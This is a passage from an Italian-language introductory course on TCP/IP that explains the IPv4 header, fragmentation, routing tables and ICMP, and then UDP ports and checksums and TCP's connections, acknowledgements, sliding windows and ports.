Il campo tra la lunghezza dell'intestazione e quella totale del datagram identifica il tipo di servizio che va offerto al pacchetto, ed è formato da un campo di 3 bit che specifica l'importanza che va data al datagram, e da tre campi da 1 bit ciascuno che identificano il tipo di trasporto desiderato per questo pacchetto. Purtroppo questo campo non può essere sempre preso in considerazione da tutte le reti, in quanto non sempre la rete fisica è in grado di soddisfare le richieste di priorità e trasporto memorizzate in questo campo. Per cui esso viene considerato una sorta di raccomandazione alla rete, piuttosto che un vero obbligo. In ogni caso il campo di priorità può contenere valori da 0 a 7. Lo zero è il valore di base di un normale pacchetto, mentre il 7 rappresenta la richiesta di precedenza più elevata, e va usato per i datagram che contengono dati per il controllo della rete stessa. I tre bit relativi al tipo di trasporto servono a definire il livello di qualità relativo al trasferimento del pacchetto. Se impostati a uno, essi richiedono rispettivamente: di evitare al massimo ritardi nel recapitare il pacchetto al destinatario, di fornire la massima capacità di trasferimento, e di garantire un'elevata affidabilità durante il trasporto. Ovviamente è estremamente difficile poter fornire tutti e tre questi servizi contemporaneamente. Spesso la rete non riesce a garantirne neanche uno solo.
I tre campi successivi vengono utilizzati nel meccanismo di frammentazione spiegato poco fa, e in particolare sono quelli che permettono all'host che riceve i vari frammenti di riassemblare il tutto per

ottenere il datagram originario. Essi sono assolutamente necessari in quanto non è prevista alcuna comunicazione tra il mittente e il destinatario su come ricomporre il datagram, tanto più che la frammentazione finale può essere il risultato di più frammentazioni successive. Inoltre i vari frammenti possono arrivare in qualunque ordine, dato che possono avere seguito cammini differenti. Dulcis in fundo, anche se l'intestazione di ogni frammento è ottenuta da quella del datagram originale, il quarto campo dell'intestazione di un frammento contiene la sua lunghezza totale, e non quella di tutto il datagram. Quest'ultima informazione deve essere calcolata dal destinatario in qualche modo. Ed ecco il perché di questi tre campi.
Il primo campo serve a identificare univocamente il datagram ed è lungo 16 bit. Tutti i frammenti che appartengono a uno stesso datagram hanno lo stesso identificativo. Il secondo campo è una maschera di 2 bit che controlla il meccanismo di frammentazione. Il primo bit specifica se il datagram può essere frammentato: se impostato a uno, la frammentazione non è permessa. Il secondo bit serve a marcare l'ultimo frammento. Vedremo tra un attimo a cosa serve. Il terzo campo contiene la posizione dei dati del frammento nel blocco originale di dati misurato in parole da 64 bit. Questo campo si chiama fragment offset. Per esempio, se un frammento ha un offset 7, vuol dire che il primo bit dei suoi dati corrisponde al quattrocentoquarantanovesimo bit dei dati del frammento originale, dato che 7 * 64 + 1 fa appunto 449. A questo punto è chiaro come si può ottenere la lunghezza totale del datagram originario. Basta sommare l'offset e la lunghezza totale dell'ultimo frammento, riconoscibile grazie al secondo bit del campo di controllo.
Il campo successivo, posto a partire dal 64° bit dell'ntestazione, è lungo un byte e serve a stabilire quanto a lungo un datagram può rimanere nella rete. È cioè il campo che specifica la scadenza di un datagram di cui avevamo accennato in precedenza. L'idea originaria era che tale campo contenesse il numero massimo di secondi che il pacchetto potesse restare nella rete. Tuttavia, data l'evidente difficoltà di sincronizzare gli orologi di tutti gli hosts e i gateway della rete, si è deciso di semplificare il meccanismo come segue: ogni gateway che processa il pacchetto decrementa il campo di uno quando questo arriva e memorizza il tempo di arrivo. Se il pacchetto non riparte subito ma rimane in attesa nel gateway, il valore di questo campo viene ulteriormente decrementato di una unità per ogni secondo di attesa. Come il campo arriva a zero, il datagram viene cancellato dalla rete e un messaggio di errore viene rispedito al mittente.
Il campo seguente, lungo 8 bit, identifica il protocollo di alto livello utilizzato che ha generato i dati contenuti nel datagram, e definisce di fatto il loro formato. Ne riparleremo in seguito, quando vedremo i protocolli applicativi.
Abbiamo quindi un campo di controllo di 16 bit che serve a verificare l'integrità dell'intestazione, e che utilizza il meccanismo di checksum ben conosciuto nel mondo del software. In suo valore è la somma complementata a uno delle parole da 16 bit che compongono l'intestazione, addizionate con il metodo del complemento a uno.
Quindi vengono gli indirizzi IP del mittente e del destinatario, ognuno lungo 32 bit. Di tali indirizzi e del loro scopo abbiamo parlato esaustivamente nella seconda e terza parte di questo corso.
Per finire abbiamo un campo di lunghezza variabile che può contenere varie opzioni, e quindi il campo di riempimento di cui abbiamo già parlato. Queste opzioni non sono presenti in tutti i datagram e vengono usate prevalentemente nelle verifiche e nella identificazione dei problemi della rete.
Parliamo ora di due aspetti fin qui solo accennati: i meccanismi di instradamento dei pacchetti (routing) e la gestione degli errori. Iincominceremo a salire nella torre dei protocolli internet, introducendo il primo protocollo che si poggia sull'IP, e precisamente lo User Datagram Protocol (UDP). Come vedremo si tratta ancora di un protocollo molto legato all'IP, ma comunque considerato al di sopra di questo.
Come abbiamo già detto in precedenza, IP è un protocollo connectionless. Questo vuol dire che non esiste un collegamento diretto tra i due host che si scambiano dati, bensì una rete di connessioni

attraverso la quale si possono identificare vari potenziali cammini da un host all'altro. Il cammino attraverso il quale i dati giungono all'host destinatario è scelto dinamicamente e può variare per ogni singolo pacchetto di dati.
Tale scelta non avviene quando il pacchetto parte, ma è il risultato di numerose decisioni prese a ogni singolo gateway. Per questo motivo i gateway sono detti anche router. Tali scelte possono dover tenere conto di molti elementi, quali la priorità del messaggio, il carico di rete, la capacità delle reti intermedie, e via dicendo. La base tuttavia del meccanismo sono le tabelle di instradamento (routing table). Vediamo di che si tratta.
Consideriamo prima una singola rete fisica. Se un host vuole spedire un messaggio a un altro host nella stessa rete, non deve far altro che incapsulare il messaggio in un datagramma IP fornendo quindi l'indirizzo IP del destinatario, e passare il tutto al livello inferiore. Questi provvederà a ricavare dall'indirizzo IP l'identificativo del destinatario nella rete fisica, a incapsulare il datagramma in un frame, e a spedire direttamente il tutto all'host finale . Questa tecnica si chiama instradamento diretto (direct routing).
Vediamo adesso quello che succede quando abbiamo due reti interconnesse tramite un gateway. L'host mittente si accorge che il destinatario non è nella sua rete fisica, dato che il network id del suo indirizzo IP è diverso da quello a cui deve spedire il datagramma. Spedisce allora il messaggio al gateway passando sia il datagramma che l'indirizzo IP del gateway al livello inferiore. Il
messaggio arriva quindi direttamente al gateway che estrae l'indirizzo IP del destinatario, si accorge che fa parte della seconda rete a cui è connesso, e spedisce quindi il tutto all'host finale attraverso la rete fisica. Questa tecnica si chiama di instradamento indiretto (indirect routing).
In questo secondo caso la tabella di instradamento è semplice, dato che il gateway ritrasmette sempre i messaggi che devono andare da una rete all'altra attraverso la rete fisica. Se invece abbiamo più gateway tra i due host, ogni gateway, tranne l'ultimo, dovrà spedire il messaggio a un altro gateway. Per far questo userà appunto la tabella di instradamento che fornisce per ogni possibile rete destinataria finale l'indirizzo IP del gateway successivo. È da notare che queste tabelle non contengono di solito gli indirizzi IP di tutti i possibili host destinatari, cosa che sarebbe fisicamente impossibile, bensì gli indirizzi delle reti raggiungibili a partire da quel gateway. Esiste poi la possibilità di specificare un gateway di default e cammini specifici per host speciali. La prima cosa è molto comune, mentre la seconda è usata solo in casi eccezionali. La logica di instradamento è quindi quella riportata nel diagramma.
La gestione dei messaggi di errore: Come si può facilmente capire dal meccanismo di instradamento appena spiegato, non è possibile sapere se il destinatario effettivamente esiste fintanto che il datagramma non arriva all'ultimo gateway. In generale l'IP non contiene grossi meccanismi di verifica, ed è per questo che è detto "inaffidabile". Esso richiede quindi un protocollo ausiliaro per l'emissione di messaggi di errore in rete, che permettano ai protocolli di livello superiore di implementare una logica più affidabile e robusta. Tale protocollo è chiamato Internet Control Message Protocol (ICMP).
L'ICMP è considerato parte integrante dell'IP ed è sostanzialmente un protocollo per la segnalazioni di errori il cui utente principale è l'IP stesso. Solo in casi particolari l'ICMP arriva a informare dell'errore eventuali livelli superiori all'IP. In ogni caso cosa fare quando avviene un errore non spetta all'ICMP, ma ai processi che se ne avvalgono. L'ICMP informa sempre l'IP mittente, non i vari gateway intermedi. Questo in quanto del cammino percorso da un datagramma non rimane traccia, per cui l'unico possibile destinatario di un messaggio di errore è solo chi ha generato il datagramma. Inoltre, dato che i datagrammi ICMP viaggiano incapsulati in datagrammi IP, come un qualunque messaggio di livello superiore, essi sono soggetti alle stesse limitazioni in termini di affidabilità di qualunque altro messaggio spedito via TCP/IP. Non analizzeremo in dettaglio tutti i datagrammi ICMP, anche perché ognuno può avere una struttura differente. Diremo solamente che l'intestazione di un datagramma

ICMP contiene sempre almeno tre campi: il tipo di messaggio, un codice di errore, e una somma di controllo.
Il livello di Trasporto:Come sicuramente ricorderete, la torre Internet si può schematizzare più o meno su quattro livelli. Alla base della torre sta l'hardware che rappresenta la rete vera e propria. Sopra a questo sta il primo livello, quello cioè di interfaccia alla rete fisica, detto appunto Network Interface o anche Data Link. I protocolli a questo livello si scambiano blocchi di dati chiamati frame, la cui struttura è strettamente legata alle caratteristiche hardware della rete stessa. Al di sopra di questo livello c'è il livello di interconnessione fra reti, ovverosia il livello dell'IP la cui unità di scambio dati è appunto il datagramma IP, mentre il terzo livello è quello detto di Trasporto. Concettualmente è a questo livello che si pongono sia il TCP che appunto l'UDP. L'unità di scambio dati al terzo livello si chiama pacchetto (transport packet). Il quarto livello è infine quello Applicativo, al quale vengono scambiati i messaggi applicativi (message e data stream).
Abbiamo visto come l'IP permette di scambiare datagrammi fra host, cioè a livello di macchine. Tuttavia non è certo la macchina il destinatario finale dei dati che fluiscono nella rete, bensì le applicazioni e i programmi che girano su di essa. I moderni sistemi operativi permettono di far girare più processi contemporaneamente, e comunque questi non hanno le caratteristiche di permanenza che ha invece un host. Un programma infatti è un componente dinamico e temporaneo in un sistema. Non è quindi pensabile di poter associare a un processo un identificativo fisso come si fa con gli host e gli indirizzi IP. Un processo infatti non ha un identificativo univoco in un sistema, dato che ogni volta che viene lanciato esso può assumere un identificativo diverso. Inoltre non è detto che gli stessi dati siano sempre processati dalla stessa applicazione. Per esempio, oggi potrei voler usare un certo programma per gestire la mia posta elettronica, domani potrei decidere di usarne un altro, e non è sicuramente pensabile che si debba informare tutta la rete ogni volta che si decide di cambiare l'applicazione che gestisce un certo tipo di dati. Quindi, più che il processo, quello che è importante identificare è la funzione, come per esempio, trasferire file oppure spedire posta elettronica. Lo scopo dell'UDP è appunto quello di permettere di distinguere in un singolo host più destinatari per i dati che arrivano dalla rete. Ma come?
Facciamo un attimo una digressione. Se io devo stampare un file cosa faccio? Collego al mio computer una stampante, attivo il driver corrispondente, e uso una applicazione o un comando del sistema operativo per lanciare l'ordine di stampa. Se ora stacco la stampante e ne attacco un'altra alla stessa porta non devo far altro che cambiare il driver per continuare a lavorare senza che il sistema si sia accorto di niente. Se poi le due stampanti usano lo stesso driver generico devo solo staccare e riattaccare fisicamente le stampanti senza modificare il sistema. In generale, tutto lo scambio di dati da e verso un computer avviene attraverso porte di I/O. Ogni applicazione accede la porta che gli serve in modo dinamico. La periferica di I/O non ha bisogno di sapere con quale applicazione sta parlando: la porta fa da schermo fra i due. L'UDP fa una cosa analoga. Esso permette di associare a un indirizzo IP più punti di ingresso e di uscita virtuali, detti protocol port. Queste porte si comportano un po' come quelle di I/O di un computer. Ogni porta è identificata da un numero intero positivo e i processi possono chiedere al sistema l'accesso a tali porte. Quando un processo accede una porta, esso si mette in attesa dei dati sulla stessa. Il meccanismo è cioè sincrono. Inoltre, se dei dati arrivano a una porta alla quale non si è agganciato ancora un processo, questi vengono mantenuti in memoria nell'ordine di arrivo. Si dice cioè che le porte hanno un buffer. A questo punto, sia il processo mittente che quello destinatario sono univocamente identificati dall'indirizzo IP dell'host su cui girano e dal numero di porta che utilizzano per la trasmissione in rete. Tale associazione è tuttavia
dinamica, e così come più applicazioni possono stampare sulla stessa stampante purché non contemporaneamente, così più processi possono attaccarsi uno alla volta alla stessa porta ed essere visti come lo stesso destinatario dalla controparte mittente. Questo permette di spedire un file di testo con un word processor, e subito dopo spedire un file binario, per esempio un file ZIP, con un comando di

sistema. Il tutto sempre attraverso la stessa porta e con lo stesso destinatario in termini di host e di processo.
Come abbiamo visto nel caso dell'IP e dei vari protocolli di rete, anche il datagramma UDP è formato da una intestazione (header) e da una parte dati. Esso è inoltre incapsulato in un datagramma IP il quale a sua volta è contenuto in un frame della rete fisica.
Al contrario tuttavia di quello IP, l'header UDP è molto più semplice. Esso è formato dal numero di porta del mittente, da quello del destinatario, dalla lunghezza del messaggio UDP, sia dei dati che dell'intestazione, e da una somma di controllo (checksum) per la verifica dell'integrità dei dati. Infatti, anche l'UDP, come l'IP, è un protocollo cosiddetto "inaffidabile". Questo vuol dire che un messaggio UDP può andare perso, essere duplicato, o arrivare nell'ordine sbagliato. L'UDP non fa alcun controllo al riguardo. L'affidabilità della comunicazione è infatti affidata a i protocolli di livello più elevato. Tutti i campi dell'intestazione sono lunghi 16 bit. Benché il formato del datagramma UDP sia alquanto semplice, la sua gestione può essere un po' più complessa. Il punto riguarda la somma di controllo. Questo valore è opzionale e, al contrario di quello che succedeva con la somma di controllo nel datagramma IP, esso non è relativo solo all'intestazione ma a tutto il datagramma, compresa la parte dati. Questo vuol dire che tale campo rappresenta l'unico elemento di controllo a livello IP e UDP dell'integrità dei dati arrivati. Se esso non viene utilizzato, il campo va posto a zero. Questo in quanto la somma di controllo segue la logica a complemento uno. Il che vuol dire che se la somma calcolata è zero, essa può essere memorizzata come 16 bit impostati a uno, dato che in tale logica un valore con tutti i bit a uno e uno con tutti i bit a zero rappresentano lo stesso numero. Quindi: se il campo è a zero, vuol dire che non è stato utilizzato; se viceversa ha tutti i bit ad 1, vuol dire che la somma era zero.
La somma di controllo, tuttavia, per ragioni pratiche, non riguarda solo il datagramma UDP, ma viene calcolata anche utilizzando alcune informazioni addizionali. Queste formano il cosiddetto pseudo-header.
In pratica, quando si deve calcolare il checksum UDP si mette davanti al datagramma UDP un altro blocco di dati che contiene l'indirizzo IP del mittente e del destinatario, il codice del protocollo UDP (17), e la lunghezza del datagramma UDP. Il motivo di questa tecnica risiede nel fatto che, per verificare se un messaggio UDP è arrivato al giusto destinatario, non basta verificare il numero di porta, ma anche l'indirizzo IP dell'host in cui gira il processo che è collegato a quella porta. Il datagramma UDP contiene tuttavia solo il numero di porta, per cui il controllo fornito da una somma sul solo datagramma non potrebbe realmente verificare che il destinatario dei dati è quello giusto.
Questa tecnica ha tuttavia un prezzo: gli indirizzi IP fanno parte appunto del livello internet, non di quello di trasporto. Perché l'UDP conosca tali informazioni è necessario violare una legge fondamentale dei protocolli di comunicazione, e cioè che ogni livello della torre deve gestire i suoi dati senza esportarli agli altri livelli a cui offre, o da cui riceve, servizi. Questo vuol dire che la separazione tra UDP ed IP non è così pulita come dovrebbe essere, ma che i due protocolli sono in qualche modo legati tra loro. D'altra parte i vantaggi in termini di controllo e semplicità di implementazione sono tali che si è deciso di fare un'eccezione ai principi dell'architettura. Da notare che la pseudo-intestazione serve solo a calcolare la somma di controllo. Essa non viene fisicamente trasmessa con il datagramma UDP, dato che le informazioni che contiene fanno già parte dell'intestazione del datagramma IP in cui quello UDP sarà incapsulato.
Se l’IP rappresenta il braccio del TCP/IP, il TCP ne rappresenta la mente. Il primo si limita a spedire rapidamente i dati che gli arrivano senza preoccuparsi troppo se qualcosa va male. Il secondo si occupa invece di controllare che l’informazione passatagli dai livelli superiori arrivi correttamente a destinazione. Insieme sono sicuramente una coppia molto affiatata.
In questo articolo useremo il termine applicazioni per indicare tanto i protocolli applicativi come FTP o SMTP, quanto i programmi applicativi veri e propri, salvo indicazione contraria. Indicheremo inoltre

con il termine utente di un servizio colui che utilizza tale servizio, sia esso direttamente una persona, un’applicazione, o un protocollo. Per esempio, il TCP è un utente dell’IP.
C’è subito da dire due cose importanti sul TCP. La prima è che lo standard del TCP non definisce né l’implementazione dello stesso, né le modalità con cui un’applicazione accede a i servizi di questo protocollo. Esso definisce solamente le caratteristiche di tali servizi, per cui si possono trovare molte differenti implementazioni del TCP, ognuna con la propria interfaccia applicativa. Per chi non programma ricordo che un’interfaccia applicativa o API (Application Programming Interface) non è altro che l’insieme delle funzioni, delle istruzioni, dei parametri e dei blocchi di controllo che vengono utilizzati dai programmatori per accedere ai servizi di un sistema. Per esempio, se ho un sistema di posta elettronica potrei definire un’API basata su due funzioni, una chiamata spedisci, e una chiamata ricevi . Per ogni funzione sarebbero poi da definire quali informazioni sono da passare al momento dell’utilizzo (parametri in ingresso), quali si ottengono una volta espletato il servizio (parametri di ritorno), eventuali codici di errore, e le regole di utilizzo delle singole funzioni. Il motivo che sta alla base della scelta di non standardizzare l’interfaccia con il TCP è che in molti casi questo protocollo è direttamente definito nel sistema operativo, o comunque fa parte del cosiddetto corredo di base di un sistema, per cui si è voluto evitare di forzare una sintassi che potesse essere in contrasto con quella nativa del sistema ospite. Il secondo punto fondamentale è che il TCP è stato definito per funzionare su un qualsiasi sistema di trasmissione dati a pacchetto, e non necessariamente solo sull’IP. Di fatto esso può essere poggiato, per esempio, direttamente sopra una rete Ethernet senza bisogno di un livello Internet intermedio.
Ma qual è lo scopo del TCP nell’architettura internet? Il protocollo non fornisce le garanzie di affidabilità e robustezza necessarie per implementare un sistema di trasmissione dati sicuro e di facile gestione. L’IP è inaffidabile e benché schermi lo sviluppatore dalla conoscenza della rete fisica, fornisce ancora una visione di livello troppo basso del sistema di reti interconnesse. Questo vuol dire che l’IP è troppo complesso per essere utilizzato direttamente dalle applicazioni. Per avere un protocollo di trasmissione affidabile abbiamo bisogno di gestire tutte le possibili situazioni di errore, la duplicazione o la perdita dei pacchetti, la caduta delle connessioni o di un router, e via dicendo. Se le applicazioni utilizzassero direttamente i servizi dell’IP, ognuna di esse dovrebbe implementare una serie alquanto complessa di algoritmi e servizi per tenere conto di tutto ciò. A parte il fatto che esistono relativamente pochi programmatori in grado di far questo fra gli svariati milioni di sviluppatori di applicazioni, nella maggior parte dei casi si tratterebbe di reinventare ogni volta la ruota. In generale questi problemi, seppure complessi, sono abbastanza standard, per cui si è pensato di poggiare sui sistemi di trasmissione a pacchetti un protocollo affidabile che potesse essere implementano da sviluppatori altamente specializzati, lasciando così agli altri la possibilità di concentrarsi sulla logica applicativa piuttosto che sugli aspetti specifici della trasmissione dei dati a basso livello.
Vediamo allora quali sono le caratteristiche principali del TCP, eventualmente comparate a quelle dell’IP.
Innanzi tutto il TCP fornisce una visione dei dati di tipo a flusso (data stream), cioè i dati sono ricevuti in sequenza e nello stesso ordine con il quale sono stati trasmessi. A questo livello cioè, l’utente del TCP spedisce i dati come un singolo flusso di byte e nello stesso modo li riceve. Nell’IP avevamo invece la divisione dei dati in pacchetti che potevano subire un’ulteriore frammentazione se si trovavano a passare attraverso reti caratterizzate da una soglia molto bassa sulle dimensioni dei frame fisici. I pacchetti potevano inoltre arrivare in ordine sparso rispetto a quello di trasmissione.
Secondo punto: nell’IP non si sa mai a priori il cammino che effettua un pacchetto. Il TCP fornisce al suo utente una visione del collegamento come se esso fosse una linea dedicata. Ovviamente sotto sotto il meccanismo è ancora quello a pacchetti, ma la cosa è schermata agli utilizzatori del TCP. Tale caratteristica è detta vitual circuit connection, cioè circuito di connessione virtuale. Il TCP si basi sul concetto di connessione, piuttosto che su quello di indirizzo come fa invece l’IP. Una connessione, per

definizione, richiede la definizione di due punti piuttosto che di uno solo, detti punti terminali o estremi della connessione (endpoint). Parleremo anche di interlocutori per indicare gli utenti posti agli estremi della connessione.
Terzo punto: abbiamo visto che l’IP divide i dati in pacchetti che vengono costruiti sulla base di esigenze di trasmissione legate alle varie reti fisiche su cui si poggia il sistema. D’altra parte le applicazioni dividono i dati in funzione delle esigenze applicative. Per esempio, un’applicazione di posta elettronica può considerare una lettera da 8.000 caratteri una singola unità dati, mentre un protocollo per la gestione della rete può avere l’esigenza di spedire tanti piccoli messaggi di non più di 16 byte l’uno. Il TCP permette di disaccoppiare il modo di dividere i dati delle applicazioni da quello dell’IP. Così la lettera di cui sopra viene prima spezzata in tante parti, spedita via IP e poi ricomposta dal livello TCP del destinatario, mentre per i messaggi di controllo avviene il contrario: prima vengono accumulati in un singolo pacchetto, e poi rispezzettati presso il destinatario. Questo meccanismo è detto buffered transfer. Naturalmente può sorgere l’esigenza di forzare la trasmissione dei dati anche se il buffer non è pieno. Per esempio, se serve sapere se un certo sistema è attivo o meno manderò prima un messaggio di interrogazione, e solo una volta ricevuta la conferma incomincerò a spedire gli altri dati. Dato che il messaggio di interrogazione è più piccolo del buffer, esso non verrebbe realmente spedito dal TCP fintanto che questi non è stato riempito. È quindi necessario forzare la trasmissione del primo messaggio (push) se si vuole evitare di attendere inutilmente la risposta a un messaggio che in realtà non è mai partito.
Quarto punto: per quanto intelligente, il TCP si preoccupa di trasferire i dati che gli vengono passati senza entrare in merito a il loro significato dal punto di vista applicativo. In che modo il flusso di dati vada interpretato semanticamente è responsabilità delle due applicazioni che utilizzano la connessione TCP per cooperare. Questo vuol dire che se un’applicazione manda alla sua controparte una serie di indirizzi, questi arriveranno uno di seguito all’altro nel giusto ordine, ma senza alcuna garanzia che ogni buffer contenga un numero intero di indirizzi. Sta all’applicazione ricomporre un indirizzo capitato a cavallo di due buffer consecutivi. Si parla quindi di flusso senza struttura (Unstructured Stream).
Quinto e ultimo punto: le connessioni TCP permettono il trasferimento contemporaneo dei dati in entrambe le direzioni, quello che nel gergo delle comunicazioni si chiama una connessione full-duplex. Si hanno cioè due flussi che scorrono indipendentemente in direzioni opposte, senza interagire fra loro. Le applicazioni hanno comunque la possibilità di passare alla modalità half duplex semplicemente bloccando uno dei due flussi di dati.
Ma in che modo il TCP garantisce quella affidabilità che manca all’IP? Il meccanismo di base utilizzato sia dal TCP che da molti altri protocolli cosiddetti "affidabili" è quello della ritrasmissione in caso di mancata conferma (positive acknowledgement with retrasmission). Si tratta di un meccanismo concettualmente semplice: ogni qual volta uno dei due interlocutori di una connessione spedisce dei dati, questi attende una conferma dell’avvenuta ricezione. Se questa arriva entro un tempo stabilito viene spedito il pacchetto successivo, altrimenti l’applicazione rispedisce quello precedente. Tale tempo viene misurato con un timer che viene fatto partire ogni volta che un pacchetto è spedito. Questo meccanismo risolve il problema dei pacchetti persi o danneggiati, ma può crearne un altro. Supponiamo che a causa di problemi di saturazione della rete un pacchetto ci metta molto più tempo del previsto ad arrivare. A questo punto il mittente, non vedendosi arrivare indietro la conferma ne rispedisce una copia. Succede così che il destinatario riceve a una certa distanza l’uno dall’altro due copie dello stesso pacchetto. Il problema della duplicazione dei pacchetti viene risolto facendo numerare sequenzialmente al mittente tutti i pacchetti da spedire e facendo verificare al destinatario la sequenza ricevuta. Naturalmente questo non vale solo per i messaggi ma anche per le conferme agli stessi. Infatti anche una conferma potrebbe venire erroneamente duplicata. Per evitare questo ogni conferma riporta il numero di sequenza del messaggio a cui si riferisce, permettendo così al mittente di verificare che a

ogni messaggio spedito corrisponda una e solo una conferma di ricezione. È un po' lo stesso meccanismo di una raccomandata con ricevuta di ritorno.
In realtà gli algoritmi utilizzati dal TCP sono un po' più complicati, e tengono conto di tutta una serie di situazioni che si possono verificare. Senza contare che il tempo di attesa prima della ritrasmissione è un punto chiave di tutto il discorso. Se si attende troppo poco si rischia di generare un sacco di duplicati inutili, saturando per giunta la rete, mentre se si attende troppo si rischia di abbassare notevolmente e inutilmente le prestazioni della trasmissione dei dati, rallentando le applicazioni alle estremità della connessione.
Il meccanismo della conferma di ricezione con ritrasmissione ha inoltre un grosso svantaggio. Anche se i tempi di attesa sono scelti in modo ottimale, esso causa un notevole sottoutilizzo della rete. Infatti, indipendentemente dalla capacità della rete, i due interlocutori passano la maggior parte del tempo attendendo le varie conferme. È un po' come avere un tubo nel quale vengono fatte cadere una a una delle palline numerate in sequenza. All'altra estremità del tubo c'è una cesta poggiata su un prato, un po' distante dal foro di uscita. Se la pallina cade nella cesta fa rumore, altrimenti cade nel prato e non si sente niente. Se ogni volta che metto una pallina nel tubo aspetto di sentire il rumore che mi conferma che la pallina è caduta nel cesto, il tubo resta per la maggior parte del tempo vuoto. Una tecnica di ottimizzazione usata dal TCP per rendere più efficiente il meccanismo appena descritto è quella delle finestre di scorrimento (sliding window). Funziona più o meno in questo modo. Immaginate di immettere nel tubo una sequenza di dieci palline senza attendere che la prima sia arrivata. Come si sente il primo flop si aggiunge un'undicesima pallina, e poi una dodicesima e così via. Se si salta un flop si reinserisce una pallina con lo stesso numero di quella che non è arrivata, tanto il destinatario può comunque riordinare le palline utilizzando i numeri scritti sopra. Il numero di palline che compongono il trenino da spedire indipendentemente dalla ricezione del flop si chiama dimensione della finestra di scorrimento (sliding window size). Se si sceglie una dimensione tale da riempire tutto il tubo nella sua lunghezza si sfrutta al massimo la capacità dello stesso.
In pratica questo sistema divide la sequenza di pacchetti in tre fasce. La prima è rappresentata dai pacchetti spediti e di cui si è avuta la conferma di ricezione. La seconda è formata dai pacchetti spediti ma dei quali non si sa ancora niente, e la terza è formata dai pacchetti ancora da spedire. Con questa tecnica il TCP mantiene un timer per ogni singolo pacchetto che appartiene alla seconda fascia. Il nome "Finestra di scorrimento" deriva dal fatto che è come se ci fosse una finestra ampia quanto il trenino di pacchetti che possono essere spediti senza attendere la conferma dell'avvenuta ricezione che scorre in avanti un pacchetto alla volta ogni qual volta arriva una conferma. Anche in questo caso, come in quello del tempo di attesa prima di ritrasmettere un pacchetto, le dimensioni della finestra di scorrimento rappresentano un fattore critico per determinare l'efficenza del sistema. In generale, se le dimensioni della finestra sono maggiori del tempo di attesa per il singolo pacchetto, allora la finestra continua a scorrere regolarmente senza interruzioni, salvo nel caso di ritrasmissioni, e la capacità di carico della rete viene sfruttata al massimo.
Affinché infatti due applicazioni possano comunicare fra di loro esse debbono conoscersi e il sistema di trasmissione che le serve deve sapere a chi effettivamente vanno recapitati i dati. È evidente che non basta l'indirizzo IP, che identifica univocamente un host nella rete. Basti pensare che un PC collegato in rete ha in genere un solo indirizzo IP, a meno che non sia collegato a più reti fisiche, come per esempio un gateway. Se una lettera viene spedita via rete a un certo indirizzo come fa TCP a sapere a quale applicazione deve far arrivare i dati? Un sistema potrebbe essere quello di assegnare un identificativo a ogni singola applicazione, ma come garantire allora l'univocità dell'identificativo? Senza contare che questo costringerebbe la controparte a sapere a priori tale valore per ogni possibile destinatario. Non è inoltre detto che un utente utilizzi sempre lo stesso programma per spedire o ricevere la posta elettronica. In realtà, più che la specifica applicazione, quello che è importante identificare è la funzione, come per esempio trasferire file oppure spedire posta elettronica.

La soluzione è quella di definire dei punti di ingresso e di uscita virtuali chiamati porte. Ogni porta rappresenta di fatto un punto di accesso a un'applicazione nel sistema. Si tratta in pratica di un'estensione del concetto di porta hardware. Un PC moderno, per esempio, può avere porte hardware parallele, seriali, video, audio e di vari altri tipi. Ad ogni porta possono essere attaccati dispositivi molto differenti. Per esempio, a una porta parallela è possibile attaccare una stampante, uno scanner, un'unità Cd-Rom oppure un'unità disco ad alta capacità. Tutti questi dispositivi non hanno bisogno di una porta specifica, ma possono utilizzare la stessa porta perché gestiscono flussi di dati simili, possono cioè usare lo stesso protocollo di base per la trasmissione dei dati. Ovviamente, a livello applicativo, ogni periferica darà ai propri dati una struttura differente. Questo vuol dire che i dati costruiti per una stampante non possono certo essere mandati a uno scanner. D'altra parte anche TCP non entra in merito della struttura applicativa dei dati, ma solo alle modalità di trasmissione degli stessi.
Ogni porta TCP è identificata da un numero. I numeri sotto il 256 sono utilizzati per le cosiddette "porte conosciute", cioè porte alle quali è stata assegnata una responsabilità ben precisa, mentre quelli al di sopra sono utilizzati per le assegnazioni dinamiche. Avremo per esempio una porta per i servizi di posta elettronica X.400 chiamata appunto X400 (103) alla quale faranno riferimento tutte le applicazioni che utilizzano tali servizi, oppure le due porte per il trasferimento dei file via FTP, una per il controllo (FTP, 21) e una per i dati (FTP-DATA, 20). Una lista delle porte conosciute attualmente assegnate è riportata nella RFC 1060, reperibile a ftp://ds.internic.net/rfc/rfc1060.txt Mentre in UDP la porta rappresenta un elemento sufficiente alla comunicazione, per cui il protocollo non fa altro che smistare i vari datagrammi nelle code dati (queue) associate alle varie porte . Una connessione è l'insieme di due punti, detti estremi della connessione (endpoint), ognuno identificato univocamente da due coordinate: l'indirizzo IP e il numero di porta. Una connessione è quindi rappresentata da ben quattro identificativi: gli indirizzi IP delle due macchine su cui girano le due applicazioni che si scambiano i dati, e i rispettivi numeri di porta. È importante capire che l'identificazione della connessione richiede tutti e quattro i valori, per cui la stessa porta con lo stesso indirizzo IP può essere condivisa simultaneamente da più connessioni senza creare alcun problema o ambiguità.
Ecco perché in TCP si pensa in termini di linea dedicata. È come se ci fosse un filo che lega univocamente i due interlocutori. Ogni interlocutore può avere più connessioni aperte nello stesso momento a partire dallo stesso capo purché non ce ne siano due con la stessa controparte. Il vantaggio è che una singola applicazione, per esempio di posta elettronica, necessita di una sola porta TCP per fornire servizi a molte macchine contemporaneamente attraverso differenti connessioni che condividono uno stesso estremo. Va tenuto presente che, anche se UDP e TCP usano gli stessi numeri per le porte, non esiste possibilità di confusione, dato che i pacchetti IP portano con sé l'identificativo del protocollo utilizzato che è ovviamente diverso per i due protocolli.
Affinché la connessione venga stabilita, entrambi gli estremi devono dare la loro autorizzazione. L'aggancio avviene nel seguente modo. Una delle due applicazioni che si vogliono connettere effettua un'apertura passiva (passive open), cioè informa il suo sistema che è disposta ad accettare una richiesta di connessione. TCP assegna all'applicazione un numero di porta. L'altra applicazione deve invece effettuare un'apertura attiva (active open), specificando l'indirizzo IP e la porta con la quale si vuole connettere. A questo punto i due livelli TCP stabiliscono la connessione e verificano che tutto sia a posto.
